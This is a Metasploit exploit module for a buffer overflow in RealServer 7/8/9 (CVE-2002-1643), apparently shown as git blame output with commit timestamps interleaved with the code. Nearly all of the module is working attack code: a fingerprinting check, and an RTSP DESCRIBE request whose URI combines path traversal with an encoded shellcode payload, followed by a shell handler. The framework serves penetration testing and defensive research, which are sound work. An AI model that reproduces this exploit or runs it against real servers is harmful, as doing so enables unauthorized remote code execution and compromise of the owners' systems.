2007-02-18 00:10:39 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-11 09:18:01 +00:00
|
|
|
require 'msf/core'
|
2010-08-07 06:59:16 +00:00
|
|
|
require 'msf/core/exploit/http/client'
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'RealServer Describe Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in RealServer 7/8/9
|
|
|
|
and was based on Johnny Cyberpunk's THCrealbad exploit. This
|
|
|
|
code should reliably exploit Linux, BSD, and Windows-based
|
|
|
|
servers.
|
|
|
|
},
|
|
|
|
'Author' => 'hdm',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2002-1643' ],
|
|
|
|
[ 'OSVDB', '4468'],
|
|
|
|
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
|
|
|
|
},
|
2013-10-09 02:41:50 +00:00
|
|
|
'Platform' => %w{ bsd linux win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'Universal',
|
|
|
|
{
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ bsd linux win }
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 20 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'OPTIONS',
|
|
|
|
'proto' => 'RTSP',
|
|
|
|
'version' => '1.0',
|
|
|
|
'uri' => '/'
|
|
|
|
}, 5)
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
info = http_fingerprint({ :response => res }) # check method / Custom server check
|
|
|
|
if res and res['Server']
|
|
|
|
print_status("Found RTSP: #{res['Server']}")
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
print_status("RealServer universal exploit launched against #{rhost}")
|
|
|
|
print_status("Kill the master rmserver pid to prevent shell disconnect")
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
encoded = Rex::Text.to_hex(payload.encoded, "%")
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'DESCRIBE',
|
|
|
|
'proto' => 'RTSP',
|
|
|
|
'version' => '1.0',
|
|
|
|
'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
|
|
|
|
}, 5)
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
end
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2009-11-16 18:28:34 +00:00
|
|
|
end
|